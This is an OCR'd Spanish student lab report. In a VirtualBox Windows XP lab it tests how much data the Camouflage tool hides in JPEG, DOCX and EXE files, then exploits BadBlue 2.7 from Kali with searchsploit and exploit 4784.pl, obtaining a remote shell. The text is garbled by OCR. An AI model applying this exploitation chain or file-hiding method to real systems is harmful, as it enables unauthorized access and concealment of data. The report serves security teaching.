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Introduccion

En el presente informe se documentan las practicas realizadas. Las actividades se
desarrollaron en un entorno virtual configurado mediante VirtualBox, utilizando una maquina
virtual con sistema operativo Windows XP. En este entorno se instalaron herramientas como
Guest Additions, BadBlue 2.7, Camou, VLC Media Player y Adobe Reader, con el fin de
realizar tareas de configuracion, intercambio de archivos mediante carpetas compartidas y
analisis de seguridad.

Posteriormente, se evaluo la capacidad de camuflaje de archivos en diferentes
extensiones (JPEG, DOCX, EXE y PDF) y se realiz6 la explotacion de la vulnerabilidad del
servidor BadBlue desde un sistema Kali Linux, simulando un acceso remoto no autorizado con

fines académicos.



Objetivos
Objetivo General
Analizar y aplicar procedimientos de configuracion, intercambio de archivos y

explotacidn controlada de vulnerabilidades en Windows XP-

Objetivos Especificos

Instalar y configurar los complementos Guest Additions en una méaquina virtual
Windows XP para optimizar la integracion con el sistema anfitrion.

Crear y administrar carpetas compartidas entre el sistema anfitrion y la maquina virtual
para la transferencia de archivos.

Determinar la capacidad maxima de camuflaje soportada por diferentes tipos de
archivos (JPEG, DOCX, EXE, PDF) utilizando la herramienta Camou.

Identificar y ejecutar un exploit funcional para el servicio BadBlue 2.7, comprendiendo

el proceso de explotacion de vulnerabilidades en software desactualizado.



Entorno

Se trabajé en un entorno controlado conformado por una maquina virtual Windows 7
ejecutada en VirtualBox, en la cual se instalaron y configuraron programas compartidos a través
de carpetas compartidas desde el dispositivo.

Los programas instalados son: Adobe Reader 8, VLC Media Player, BadBlue Personal
Edition 2.7 a y Camou.

Desarrollo

Creacion de Carpeta Compartida e Instalacion de Programas

A continuacidn, se documenta el procedimiento seguido para crear la carpeta compartida e
instalar los programas.

El primer paso consiste en iniciar la maquina virtual de windows XP.
Instalacion Guest Additions

Mlustracion 1 Maquina Windows XP iniciada

r7]
b

Archivo Maquina Ver Entrada Dispositivos Ayuda

© Puede que su equipo esté en riesgo X

 Ningdn servidor de seguridad est activado
 Puede que el antivirus no esté instalado

Haga clic en este globo para solucionar este problema.

+4 Inicio

Una vez encendida, se da oprime la opcion de Dispositivos, luego en insertar imagen cd

de las Guest Additions (Las Guest Additions son un paquete que permiten mejorar la interaccion



e integracion entre la maquina virtual Windows XP y el sistema operativo (Windows 11)). Luego
de oprimir esa opcion se abre la siguiente ventana.

Ilustracion 2 Guest Additions

Msquina Ver Entrada Dispo

Q 5] L_ﬁ: fn‘BDsqueda || Competes | [~

Direccidn | 3 €:\Documents Oracle VirtualBox Guest Additions 7.1.12 Setup

Tareas de archivojyg Welcome to Oracle VirtualBox Guest
() Crear nueva carpet3 Additions 7.1.12 Setup

€ Publicar esta carpetd
k2 Conpatir esta carpd Satup will guide you through the installation of Oracle
WirtualBox Guest Additions 7.1.12,

Otros sitios 1t is recommended that you close: all other applications

before starting Setup. This wil make it possible to update
@ Esaricorio relevant system Fles without having to rebact your
computer,
() Mis documentos

() Documentos compart
i MFC
N s sitios d red

Detalles

Click Next ko continue.

+4 Inicio

Se oprime la opcidon de Next y aparece la opcidn para cambiar la ubicacion de la
instalacion, como se evidencia a continuacion:

Tlustracion 3 Guest Additions 2

Msquina Ver Entrada Disp

Q © Lﬁ; /-‘J Bisqueds || Carperss  [T31]-
Drecciin Oracle VirtualBox Guest Additions 7.1.12 Setup EEE -

Tareas de archivoy ¢ Choose Install Location a
Chaase the folder in which to install Oracle VirtualBox Guest Additions 7.1.12.

(22 Crear nueva carpet:

N Publicar ests carpet:

- Setup will install Oracle VirtualBox Guest Additions 7.1.12 in the following folder, Tainstallin 2

EJ Comparti ests carPd  Gfferert: Folder, cick Browse and select anather Folder. Click Nexk to cantinue.

Otros sitios

B Eseritorio

Mis Ik
(B it Destination Folder

() Documentos compar

N s sitios de red

Space required; 662,0 KB
Space available: 18.5 GB

Cancel

Num Lock On

- -
<5 Inicio a fitualBox Gue. .

Next nuevamente y en el siguiente recuadro se oprime la opcion install e inicia el proceso

de instalacion.



Ilustracion 4 Instalacion en curso Guest Additions

Magquina Ver Entrada Disp

€} © = ; ) Blsqueda || competas | [T+
Direccién “ Oracle VirtualBox Guest Additions 7.1.12 Setup

Installing
Please wait while Oracle virtualBox Guest Additions 7.1.12 is being installed.

Tareas de archivo y c.

9 Crear nueva carpeto
&) Publicar esta carpet
k&2 Compartir esta carpg

Executing: "C:iérchivos de programalOracle) VirtualBox Guest Additions|certiVEoxCertlil.exe
I

L

Executing: "C:\Archivos de programalOracle VirtualBox Guest Additions|certivBoxCe... A
Otros sitios Oracle YirtualBox VBoxCertUtl Yersion 7.1.12 - r169651 ||
Copyright (C) 2025 Oracle andfor its affiliates
[E Escritorin
(D) M documentos VBexCetutl exe; nfor Suscessfuly added'Cprchivos de programelOracle\Wrtusl.
Execution returned exit code: 0
Installing SHA-2 timestamp root ('vbox-shazSe-timestamp-root.cer') if missing ...
W MipC Executing: "CiiArchivos de programa’Oracle|Virtualiox Guest Additions|certivBoxCe...
"-:J s siss de e Oracle YirtualBox VBoxCertUtl version 7,112 - r169651
Copyright (C) 2025 Cracle andfor its affiliates

il . -k
Detalles

|23 Documentos campart

< Back Hext > Cancel

Una vez instalado el paquete de los complementos del invitado, este pide que se reinicie
el equipo.

llustracion 5 Instalacion Guest Additions finalizada

# WINDOWS_XP [Corriendo] - Oracle

Arch Maquina Ver Entrada Dis

iuest Additions 7.1.12 Setup

Completing Oracle VirtualBox Guest
Additions 7.1.12 Setup

Your computer must be restarted in order to complete the
installation of Oracle VirtuslBox Guest Addtions 7.1,12. Do
o want ko pebodt now?
Otros sitios

(@ Escritorin @ Reboot now
() Mis documentos

(2 Documentos compar
i mipc
&3 v sitios de red

(I wark to manually reboot later

= =
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Creacion de Carpeta Compartida
Una vez reiniciada la maquina virtual, se oprime la opcion de Dispeositivos, luego la
opcion de Carpetas compartidas y preferencias de carpetas compartidas.

Ilustracion 6 Dispositivos - Carpetas compartidas

2 WINDOWS XP [Corriendo] - Oracle VirtualBox
Archivo Maquina Ver Entrada Dispositivos Ayuda
© Unidades 6pticas
M Audio
& Red
# uss
M Carpetas compartidas I8 Preferencias de carpetas compartidas...

W Portapapeles compartido

»
»
»
»
© Camaras web ’
»
»
»

B Arrastrary soltar
#” Insertarimagen de CD de los complementos del invitado...

# Upgrade Guest Additions...

Eso abre la configuracion de la méaquina virtual, especificamente el apartado de carpetas
compartidas, alli se oprime la carpetica azul con el simbolo del mas en color verde, ubicada en la
parte superior derecha, al oprimirla se abre un recuadro que solicita ruta de la carpeta que se va a
compartir, nombre de la carpeta y se seleccionan las opciones de automontar y hacer permanente.

llustracion 7 Seleccion de carpeta compartida

Archive  Maguina Ver Entrada Di
5 T—
1]

Basic

General
Carpetas de la maquina
Sistema o

Pantalla
ants Ruta de carpeta:

Almacenamiento Nombre de carpeta:
Audio
Red

B Puertos serie Depurar ~ Ayuda
Vv Hacer permanente

UsB Aceptar Cancelar

Carpetas compartidas

Mostrar en la pa de la pantalla

Bl interfaz de usuario

BO0OREISSFEETE €0

Aceptar Cancelar Ayuda

Haga clic en este giobo para solucionar este problema

B | @

Luego de se oprime la opcidon aceptar y aparece un resumen de la creacion de la carpeta

compartida como se evidencia a continuacion:



11

Ilustracion 8 Resumen creacion de carpeta compartida

Basic

General

Sistema

Pantalla

Almacenamiento

Audio

Red Interfaz de usuario
Puertos serie Archivo ¥ Maquina * Ver ~ Entrada * Dispositivos ~ Depurar * Ayuda ~
UsB Estado visual: Normal (ventana) ~

Carpetas compartidas Minibarra de herramientas: v N

Mastrar en a parte superior de la pantalla
Bl interfaz de usuario
BOoRSSEETE €0
Aceptar Cancelar Ayuda

Haga dlic en este globo para solucionar este problema.

E

Una vez hecho esto se da en la opcion de Aceptar y se regresa a Windows XP, se busca
Mi PC estando ahi aparece la carpeta compartida, marcada dentro del recuadro amarillo.

[lustracion 9 Inspeccion de carpeta compartida en XP
quina Ver Entrada

archivo  Edicién  Ver Favoritos  Herramientas  Ayuda

€] ] Lﬁ /TKJBdsquEda [ carpstas v

archivos almacenados en este equipo
Tareas del sistema

Ver informacion del sistema | Documentos compartidos - Documertas de
- | 1 WEYREr_Antanio_fnoya_
ZY Aaregar o quitar programas
@ Cambiar una configuracian
Unidades de disco duro

Otros sitios .

: & ﬁ Disco local (C:)
N3 mis sitios de red

({5} Mis documentos
) Cocumentos compartidos Dispositivos con almacenamiento extraible

@ Fanel de contral

“’: YirtualBox Guest Additions (D1}

Mi PC Unidades de red

Carpeta del sistema
w Docs en "BaxSvr" (2:)

e

Detalles

74 Inicio 2 wirc
Se inspecciona la carpeta y se observa que un archivo .txt, un audio, un documento de

Word y un documento PDF.



Ilustracion 10 Inspeccion de carpeta compartida
o Maquina Ver Entrada

Archivo  Edicién  Ver Favoritos  Herramientas  Ayuda

@Atra’s ] \ﬁ' /Vjﬁdsqueda [ carpstas -

12

EEX
ﬁr

Direccidn |;g 2|

v Br

e ahate
Tareas de archivo y carpeta taJ Documento de texto
OKB

(9 Crear nueva carpeta

€N Publicar esta carpeta en eb Cuestionario_icerrectoria_Co..
Archivo DOCE

Otros sitios

g MiPC

(£ Mis documentos

() Documentos compartidos
& Mis sitios de red

Detalles

*4 Inicio -z

audia
GEIBER Dj
Flaca Exatica X Geiber D X E ...

right-landscape-3840:2160-1...

t‘ 3840 ¥ 2160
3| 1magen PEc

Ahora se pasaran los siguientes instaladores del sistema anfitrion a Windows XP haciendo

uso de la carpeta compartida.

Ilustracion 11 Archivos a enviar

B Clase 2 Oct 2025 +

< %) 0 > Esteequipo > Windows(C) > DOCS > Clase 2 Oct2025

@ Nuevo v ) P Ordenar ©+ = Ver

# Inicio

W Escritorio

Buscar en Clase 2 Oct 2025

(B petalles

Se pasa la carpeta que contiene los instaladores a la carpeta compartida, en la siguiente

ilustracion se visualiza que la carpeta con los instaladores ya aparece en Windows XP.

llustracion 12 Carpeta con instaladores en XP

L Docs en “VBoxSvr™ (Z:)

Archivo  Ed6n  Ver Favorkos Hemamentss  Ayuda

s v @ P Posaeda [ capsss [

stionaro_Vicerrectoria_Co.

Otros sitios

g MpC
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Al abrir la carpeta que tiene el nombre Clase 2 Oct 2025, se puede evidenciar que
contiene los instaladores de la version 8.0 de Adobe, la version 2.7 de badblue, Camout, Internet
Explore 8 y Vlc 3.0.18; Todos estos programas se instalan siguiendo los pasos de configuracion
que proporciona cada uno de los instaladores.

Ilustracion 13 Instaladores

Ver Entrada Ayuda

& Clase 2 Oct 2025

Archivo  Edicién  Ver Favoritos  Herramientas  Ayuda

eAtrés - \_) L’g? ;‘JBu‘squeda [ carptas v

Direccion | ) 2:\Clase 2 Oct 2025 v B

Ay 8.0_adbeRdra0_en_US 34 badblue-pe-2.72a
< 2
a

Tareas de archivo y carpeta &

() Crear nueva carpeta
&8 Publicar esta carpeta en eb

B internet-explorer-8-para-xp-
Camoulz1 avchivo,cab autosxtrabie
Micrsoft Corporation

& wle-3.0,18-0in32

Otros sitios

S8 Docs en "WBaxSnr" (Z:)
(£} Mis documentos

) Documentos compartidos

Una vez instalados aparecen los iconos ejecutables de cada uno de los programas en el escritorio
como se evidencia a continuacion:
Mlustracion 14 Programas instalados

Archivo Maquina Ver Entrada Dispositivos Ayuda

+4 Inicio
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Capitulo 1 - Identificar que Cantidad de Archivos Inmersos Soporta cada Extension
En este capitulo se identificara la capacidad maxima de archivos o maxima cantidad de

espacio que se puede camuflar en las siguientes extensiones (jpeg, word, pdf, exe).
Jpeg
El tamaio original del archivo Jpeg dentro del que se van a camuflar los archivos es de

1.87 MB.

Mlustracion 15 Tamario original Jpeg

L

Archivo Méaquina Ver Entrada Dispositivos Ayuda

Propiedades de prueba

General | Resumen

E] ‘ prueba
Tipo de archivo: Imagen JPEG

Se abre con: %) visor de imégenes y

Ubicacién: C:\Documents and Settingsiwayner_antonio_moy.
Tamafio: 1,87 MB (1,963,932 bytes)

Tamafio endisco: 1,87 MB (1.966.080 bytes)

Creado: miércoles, 08 de octubre de 2025, 20:21:11

Modificado: martes, 23 de septiembre de 2025, 12:55:46

Ultimo acceso: miéreoles, 08 de octubre de 2025, 20:21:14.

awibutos:  [Jsélolectura []ocuto

80T & ME LTS 6 0 ATDERECHA

Maquina Ver ~Entrada

Archivo  Edicion  Ver Favortos Heramientas  Ayuda

Qs - () (T Dnisaeds [ cometss [T+

Tareasde archivoy carpeta (3 /i Clase 2 0ct 2025 f /’ Intreduction +to+Excel
l |

[ Mueve los elementos
seleccionados

[ Copiar los elementos
seleccionados

& Publica en el Web los elementos
seleccionados A

(3 Enviar por comen slectrdnico s 5 (Camouflage
elemerttos siguientes Euncamoufisge

3 Eliminar los elementos
seleccionados

Emviara

Cortar

™ Copiar
Otros sitios

Crear acceso directo
§ mec Eliminar

) s documentes Cambiar nombre
[T Decumenkos compartidos

- Propiedades
&3 His sitios de red

Detalles

74 Inicio

B0 & ME S 30 AT DERECHA




Ilustracion 17 Seleccion de imagen

Miquina Ver Entrada Disp:

Select file to use as camouflage

Buscar en: [ (2} Eseritorio ~| & ek E

Horrbre Tamafio Tipo
s sitins de red Carpeta del sistema
Decurenios | Badsbe Reader KB Actesodrertn
s VLC media player KB Acteso drects
[ (Extraccion Carpets de archivos
() "ADIER,_MAYORAL Carpeta de archives
[E¥5.0_adbeRrdra0_en_US 21311KE  Apicacin
ahate 1KB Documento de texto
A audo 2.352KB  MP3 Autio Fie (4.C) 8=
B BacBue Persanal Edion 1KB  Accesa drect
|l Cuestionario_vicerrectoria_C. 36KB Archivo DOCK
5] right-landscape-3840x2160-1 1.918K8
¥ right-landscape_2-3840x216. 23,266 KB
] 73KE
19188

forvtto+Excel

Escritrin

Mis dacumentos

Mis sifos dered  Mombre:  |prusba

Tieo: [nFies | Cancslar

h_Mpios_chocolo0_Magnaco | [i| | cheio_Ecosistemas
Detalles ? |oomke f oz

= L chromesstup
i oogle Installer (x56) ] e s )

° ) Googe LLC

Msquina Ver Entrada

Tareas de archivo y carpeta
[ Muevelos elementos
seleccionads
) Copiar los elementos [
selecdionades il
Q) Publicaen Wb 05 e o cocuty password for your camoufiaged fle i you wish.
seleccionados

(5D Envier por correa e

elementos siguentes | pocouord e

K Eiminar los elementas|
seleccionados Verly Password e
Otros sitios

J mirc
() vis documentos Click here lo gst he lotest version Firich

3 Do el 0205 THEET_ [ | partale Ei0anes Lot
& i i de red 1184 3669 1184619

Ch_Mpios_Choco100_Magnaco ChBio_FcoSistemas
Detalles | 2.303KB | 91.286. KB
=L chromesen

esetup
V7 Google Installer (xa8) !. o L el
GoogleLLC i
ol

1§ €3 0 AT DEREC

La cantidad inicial de archivos que en total tienen un tamafo aproximado de 5GB no se

crea ya que supera la capacidad maxima.



Tlustracion 19 Superacion de capacidad mdxima

Miquina Ver Entrads Dispc

Qus- Q¥ f_VBusunAa [ comerss | [77E)-

Direceion [ 21|

Tareas de archivo y carpeta ~ | dmezoctzozs

Introduction Ho-+Excel

[ Musve los elementos
seleccionados

) Copiar s clementes A
seleccionatos amoufls

& Publicaenel b 05§ Camoutlaging fles to Z\pruebaipg.
7

SR Comoufloge

X Eliminar los elementos

seleccionados 6 Unable to Camouflage!

Bad record number (63)
Otros sitios

g miec

() vis documentos Cick hee to get the lotest version

2 Documentos comp: pantalla_b-10-2025_134627
& s stios de redt 1154 x 3669

E 1
Cheio_Ecosistemas
Detalles 2.4 T 91.286K8

pantalla_6-10-2025_135120 .
i3

£ Chromesetup

Googl Installr {x86)
Google LLC

Col_Tema_Deptos100_MagnaCO
4179 KB

BOoNFsmETE G
Se intenta nuevamente, esta vez con menos archivos, por ende, menos tamano.

Mlustracion 20 Tamario aproximado permitido Jpeg

Archivo  Maquina Ver Entrada Dis Ayuda

General |Resumen W]

de modificacién

Tareas de archivo y carpeta & 2025 13:22
]} Combiar nombre & este archiva 20m 1427
2025 16:10
2025 14:26
B EEIEDAETD Se abre con: [3] visor de imégenes y 2025 9:17
€ Publicar este archivo en web 3 2025 9:17
= 2025 9:51
a8 EIHEVEWSVD :it: archivo por correo R 21 fe e
& Imprimie este archivo Tamafio: 1,45 GB {1.597.717.727 bytes) 2025 18:53
Elminar este archivo . 2025 9:22
x Tamafio en disco: 1,48 GB (1.597.718 528 bytes) o075 15:30
2025 11:24
Otros sitios Creado; migrcoles, 08 de octubre de 2025, 20:21:11 2025 22:21
2025 22:03
2025 19:23
I} Mis documentos Uitimo acceso: migrcoles, 08 de octubre de 2025, 20:29:30 2025 19:51
[ Documentos compartidos 3 2025 18:46
N s siios de red Atributos: Sélo lectura [Jozte 2025 17:24
n| 2025 12:55
2025 12:19
Detalles 2025 12:24
2025 12155
2025 21:21
2025 11:19
Aplicar 2025 11:20

3 Maver este archiva Tipo de archivo Inagen JFEG

i MR | Wodiicado markes, 23 de septiembre de 2025, 12:55:46

O )i 5 & W TN S 6 B AT DERECHA

Soporta alrededor de 1.5 GB como méximo la extension JPEG.
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Word (docx)

Mlustracion 21 Tamario original docx

Archivo Maquina Ver Entrada Dispositivos Ayuda

Propiedades de Cuestionario_Vicerrectoria_Convenio.

General |Resumen

Cuestionario_Yicerrectoria_Convenios. docx

Tipo de archivo: Archivo DOCX

Se abre con: #plcacién desconocida o

Ubicacién: C:\Documents and Settingsiwayner_antonio_moy.
Tamafio: 35,3 KB (36.233 bytes)

Tamafio en disco: 36,0 KB (36,864 bytes)

Creado: jueves, 02 de octubre de 2025, 9:20:08
Modficado: martes, 16 de septiembre de 2025, 13:22:46

Oltimo acceso: jueves, 02 de octubre de 2025, 10:26:07

atributos: ] Sélo lectura [] Oculto

dbeRdr...

—
+4 Inicio

43 3 ALT DERECHA|

Tlustracion 22 Archivos seleccionados

Ver Entrada Disp

Seltings

Size | Created Modified Aocessed
(23 Aurchivo_excel_pincipiante.zip 11.08T KB 09/10/20251:10:10 05/10/2025 30808 09/10/2025
& sudio.mp3 2331KB  02/10/2025 141010 10/09/2025 14:21:21 09/10/2025
ﬁaulnpsy—d 22 1-B4bit msi 1.235982 KB 09/10/20251:10:10 07/10/2025 05353 09/10/2025

£ Captura de pantalla_8-10-2025_135120_www. sbaroc S0KB 09/10/20251:10:10 08/10/2025 18:51:51 03/10/2025
(27 Ch_Mpios_Choco100_Magnal0.zip 2302KE  03/10/20251:10:10 30/09/2025 16:48:48 09/10/2025
(£ ChBio_EcoSistemas.zip 91.285KB  09/10/2025 1:10:10 30/03/2025 17:16:16 09/10/2025
[ ChiomeSetup exe 10614KB  03/10/2025 1:10:10 0111042025 16:31:31 0941042025
(271 Cal_Tema_Deptos100_MagnaCO.zip 4179KB  09/10/2025 1:10:10 30/09/2025 17:21:21 09/10/2025
(E11 Col_Tema_Limitshar_MagnaCO zip 434KB  09/10/20251:10:10 30/03/2025 17:26:28 09/10/2025
Como_ganar_amigos_e_irfluii_sobre_las_personas_Da 1.250KB  03/10/2025 1:10:10 01/10/2025 18:42:42 09/10/2025
T CONTRATO P. SERVICIDS D167, INGENIERIA DE 5. 2438KB  09/10/20251:10:10 07/10/2025 14:01:00 09/10/2025
T CuentaCobroEmily.pdf 104K 09/10/20251:10:10 13/03/2025 15:08:09 0941042025
CuentaCobroEmily.docs 03/10/2025 1:10:10 23/09/20251:29.29 09/10/2025
= Cuestionario_Vicenectoris_Corverios dock 02/10/2025 14:10:10 16/03/2025 18:22:22 09/10/2025
C - YADIER STIVEM MAYORAL [1)pof 03/10/2025 1:10:10 27/03/202513:27:27 0941042025
YADIER STIVEN MAYORAL docx . 03/10/2025 1:10:10 30/09/2025 21:10:10 09/10/2025
-YADIER STIVEN MAYORAL docx (2) (1) pdf 03/10/2025 1:10:10 27/03/202513:26:28 09/10/2025
YADIER STIVEN MAYORAL docs [2]_page-0001.... 03/10/2025 1:10:10 23/09/202514:17:17 09/10/2025
-YADIER STIVEN MAYDRAL dock [2]_page-D00Z.... 03/10/2025 1:10:10 23/09/202514:17:17 09/10/2025
‘YADIER: STIVEM MAYORAL docx (3] pof 03/10/2025 1:10:10 011042025 14:51:51 0941042025
YEIBER A. MENA ROBLEDO.pof 03/10/2025 1:10:10 01/10/2025 14:52:52 09/10/2025
T CVEN - YADIER STIVEN MAYORAL docx pof 03/10/2025 1:10:10 0310/2025 23:5353 09/10/2025
T CVES - YADIER STIVEN M&YDRAL dock pel 03/10/2025 1:10:10 06/10/2025 14:22:22 09/10/2025
DE CONSTRUCTORA.:dl 03/10/2025 1:10:10 25/09/2025 20:23:29 09/10/2025 A

< ) v

Click hers to get the latest version Hext > Llose

e
+4 Inicio

o
v
o
o
o
o

] ALT DERECHA]
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Mlustracion 23 Camuflaje

Archivo dquina  Ver Entrada  Disp

Camouflage

Choose the location and filename for the camouflage file that is about to be created

Create This File ‘C:\Documer\ts and Settingshuwapner_antonio_moya_\E scritorio\Cugstionario_camu docs

¥ Readaorly

Click here to et the latest version

[ ————
74 Inicio -

M = 7§ 3 0 ALT DERECHA)

Ver Entrada Disposit

M Camouflage

Camoulaging files to C:ADacuments and Setiings\wagner_antania_maya_\E scritario\Cusstionaria_comu.dact..

Click hers to get the latest version

(P ——
74 Inicio o

1| €3 3 ALT DERECHA|




19

Ilustracion 25 Excede capacidad

Archivo uina Ver Entrada Dis

Camouflage

Camoullaging files to C-ADacuments and Setings\wayner_antania_moya_‘Escritorioh Cusstionario_comu dacr

Q Unabls to Camauflage!

Bad record number (53)

Aceptar

Click here to et the latest version

—
74 Inicio - T

llustracion 26 Capacidad docx

Archivo Maquina Ver Entrada Dispositivos Ayuda

| General |Resumen |

YADIER MAwy  payload | cuestionario_comu.docx

Tipo de archivo: Archivo DOCX

Se abre con: Aplicacién desconocida Can

Ubicacién: C:\Documents and Settingsiwayner_antonio_moy.
Tamafio: 2,00 GB (2.147.915.106 bytes)

Tamafio en disco: 2,00 GB (2.147.917.824 bytes)

Creado: miércoles, 08 de octubre de 2025, 20:45:39
Modificado: miércoles, 08 de octubre de 2025, 20:52:10

Ultimo acceso: miércoles, 08 de octubre de 2025, 20:52:10

Atributos:  []6la lectura []ocuto

["3 Docs en "vBoxswr" (2:)

79 €3 B3 ALT DERECHA

Los archivos con extension docx soportan un maximo de 2 GB.
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Exe

Ilustracion 27 Seleccion de archivos exe

Archivo Maquina Ver Entrada Disp

Settings

Created Modified Accessed
1.035.9 [ 10:10
17 autopsy-4. 22 1-64bit msi 1.236982KB  09/10/2025 1:10:10 07A10/2025 06363 09/10/2025
1.560.271 KB 09/10/20251:21:21 23/09/2025 17,5555 09/10/2025
(2] Servicio-205 2).zip 1.048827 KB 03/10/20251:10:10 30/08/202516:20:20 08/10/2025

Click here to et the latest version

T —
74 Inicio -

M = 7§ 3 0 ALT DERECHA)

Maquina Ver Entrada Dispositi

Select file to use as camouflage

Buscar en: | () Clase 20ct 2025 = «

HNambre Tamafic  Tipe Fecha de
B 5.0_ndberdren_en_us 21.311KB  Aplicarion 09j06/20
Df:;:;’;tfs B badblue-pe-2.72a FO4KE  Aplicacion 1711/20

(0 camoutz1 2,655K8  Aplicarion 2610520
[Flinternet-explorer--para-xp- 16,563 KB Aplicacion 19/10f20

41,731 KB Aplicacion zai1zfz0
Escritorio

Mis documentos

< | >

Mis sifios dered  Nombre: | vle-3.0.18win32 ] Abiir
Tipe: [ &nFiles =] Cancelar

Click, here to get the latest version
Espaiiol [siabetizacién intemacianal

P ———— -
+4 Inicio =

ALT DERECHA
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Mlustracion 29 Camuflaje en proceso

Archivo uina Ver Entrada Dis

Camouflage

Camoullaging fils to C:ADocuments and Setings\wayner_antania_moya_\Escrtoris\comaucamau ske

Click here to et the latest version

[ ————
74 Inicio - - T

Archivoe Maquina Ver Entrada Dispositivos Ayuda

Camaullaging files to C:ADacuments and Setings\wapner_antania_mapa_\E scritarisheamaucamauere...

Camouflage

6 Unable to Camouflage!

Bad recard number (53

Click hers to get the latest version

(P ——
74 Inicio o

45 §3 I3 ALT DERECHA
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Ilustracion 31 Maxima capacidad permitida

Archivo Maquina Ver Entrada Dispositivos Ayuda

General | C iidad | Resumen

Tipo de archivo: Aplicacidn

Descripcién: comaucamau

Ubicacién: C:ADocuments and Settings\wayner_antonio_maya
Tamafio: 2,00 GE (2.147.510.049 bytes)
Tamafioendisco: 2,00 GE (2.147.512.320 bytes)

Creado: migrcoles, 08 de octubre de 2025, 21:03:03
Modificado: migrcoles, 02 de octubre de 2025, 21:04:52

Ultimo acceso: miércoles, 08 de octubre de 2025, 21:05:28

Aibutos: ] Sélolectwa [] Ocuto

| 3 Docs en "VBoxawr" (2:) 2- Camouflage

BONET #SME TS 60 AT DERECHA

23°C 5 . ESP . 0905p.m. o
E 3 - ~ 4 &
f Parc. nublado L LAA B0 08/10/2025 L

Exe soporta maximo 2GB.

Con esto se llega a la conclusion de que todas las extensiones soportan un tamafio
maximo de camuflaje de 2GB.
Capitulo 2 - Ingresar al Sistema Explotando Badblue

Se inicia el servicio de Badblue, una vez iniciado abre automaticamente el navegador y el

sitio de Badblue.
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Tlustracion 32 Badblue iniciado

Maquina Ver Entrada

Blue: the file-sharing web server anyone can use - Windows Internet Explorer

le) 127.0.0.1 v &4 x| | P

Edicifn  wer  Favoritos  Herramientas  Ayuda
5r Favoritos | 515 @) Sitios sugeridos ~ | Hotmall gratuito £ | Galeria de Web Slice +

(@ Badslue: the file-sharing web server anyone can use - B - ) @ - Pagna -

Share your Excel
Search using a partial word [inv matches spreadsheets over
invoices), by file extznsion (1pg, mp3, xls, the web. Fast.
...} or with multiple words (pheto afbum
would match 2l files that include the
words phata and album),

3 Ba G
Enterprise Edition -

L3 @ nternet Espatiol [alfabetizacion intem
74 Inicio. | € padse . B |00

Se abre el cmd con el fin de obtener la direccion IP de la maquina virtual. La maquina
virtual es 192.168.5.7 como se evidencia a continuacion:

Ilustracion 33 Direccion IP Windows XP

Archivo Maquina Ver Entrada Dispositivos Ayuda

IP de Windows

74 Inicio | /7 Badslue: the fie-shar...

Luego se hace un escaneo de la red desde Kali Linux, se obtiene que el dispositivo con la
ip 192.168.5.7 (Windows XP) tiene abierto los siguientes puertos: 80 (Badblue httpd 2.7), 135,
139, 445, 3389. De igual manera se obtiene la direccion MAC del dispositivo e informacion del

sistema operativo.
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Ilustracion 34 Escaneo de Red

Blue httpd

0s W
0s

Cros

rosoft:windows_xp

Dede Kali Linux se abre el navegador y se digita la direccion IP de Windows XP,

automaticamente esta dirige al sitio de Badblue, que es el servicio activo en el puerto 80.

o Maquina Ver Entrada Dig
] ' Y |Z|v 3 4 [ (genmc

BadBlue: the file-sh:

@

OffSec Kali Linux &8 Kali 2 KaliDocs ¥ Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB

O — )
Share your Excel
‘Search using a partial word (inv matches invoices),

by file extension (jpg, mp3, xis, ..) or with multiple spreadsheets over
words (ohofo album would match al files that

|
include the words photo and album). the web. Fast. ]
Easy. Guarantecd

Cli ial

Enterprise k ﬁ

Num Lock Om

El objetivo es a través del servicio Badblue obtener acceso al sistema de Windows XP,
para eso el primer paso es buscar vulnerabilidades, exploits para dicho servicio. Se abre una
consola de Kali y se digita el comando searchsploit badblue 2.7 para buscar exploits para

obtener acceso al sistema. Aparecen las opciones a continuacion.
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llustracion 35 Searchsploit badblue

ote/4784.pl

xecutable
lipboard

Se selecciona el exploit Badblue 2.72 — PassThru Remote Buffer Overflow, se utiliza este
exploit en especifico, porque la version del Badblue instalado es el 2.7 a, este es el mas general,
ya que los otros son de la version 2.7b. Este exploit aprovecha que Badblue no la longitud de los
parametros del método GET, dejando como resultado el desbordamiento y directamente el acceso
al sistema.

Se procede a copiar el archivo del exploit en el escritorio. Se hace una revision del codigo
del exploit para copiarlo, una vez copiado se crea un nuevo archivo badblue-272-seh.pl.

llustracion 36 Descarga de exploit y copia de codigo

Jusr/share/exploitdb/exploits/windows/remote/4784.pl .

DiclLampaio.txt
privilegios.cpp
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llustracion 37 Creacion de archivo y pega de codigo
Session Acciones Editar Vista Ayuda

yadsti@kaliyads: ~ @  yadsti@kaliyads: ~ & yadsti@kaliyads: ~ ¥

L badblue-272-seh.pl

+X hadhlue-2?2¥seh.p1

badblue-272-seh.pl
#! fusr/bin/perl -w
b http: luigi.altervista.org/adv/badblue-adv.txt
t https r.securityfocus.com/bid/26803
t http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6379

# exploit for stack overflow in badblue 2.72

Credit to Luigi Auriemma

22/12/2@87

Una vez creado el archivo se procede a darles permisos de ejecucion, luego se muestran
las primeras lineas del cddigo con el objetivo de verificar que el cddigo si esté presente.

Posteriormente se procede a ejecutar el archivo utilizando el comando ./badblue-272-
sh.pl 192.168.5.7 80, como se evidencia pone el nombre del archivo, la direccion ip del
dispositivo objeto de ataque (Windows XP) y el puerto, ambos son parametros que el codigo se
ejecute y haga su trabajo que es corromper el sistema y como se evidencia en la siguiente
ilustracion se obtiene acceso al sistema.

Lo primero es verificar la direccion IP y efectivamente corresponde a la direccion IP del

Windows XP.



Tlustracion 38 Acceso exitoso

Session Acciones Editar Vista Ayuda

yadsti@kaliyads: ~ @  yadsti@kaliyads: ~ E yadsti@kaliyads: ~ &

— 192.

+ Malicious GET reques

Done.

+ Connect on port 4444 of 192.168
Trying 192.168

Connected to 19

Escape character is ""]'.

Microsoft Windows XP [Versi#n 5.1.:

(C) Copyright 1985-28@01 Microsoft Corp.

C:\Archivos de programa\BadBlue‘PE>whoami

whoami

"whoami® no se reconoce como un comando intermo o externo,

programa o archivo por lotes ejecutable.

C:M\Archivos de programa‘\BadBlue\PE>ipconfig
ipconfig

Configuracien IP de Windows

Adaptador Ethernet Conexien de #rea local

Sufijo de conexi#n especefica DNS : bbrouter
Direccien IP. :

Mescara de subred 5 @ =

Puerta de enlace predeterminada

C:\Archivos de programa‘\BadBlue‘\PE>cd
cd

C:\Archivos de programa‘\BadBlue>cd

27

Luego se proceden a revisar los directorios, usuarios, informacion del sistema y servicios

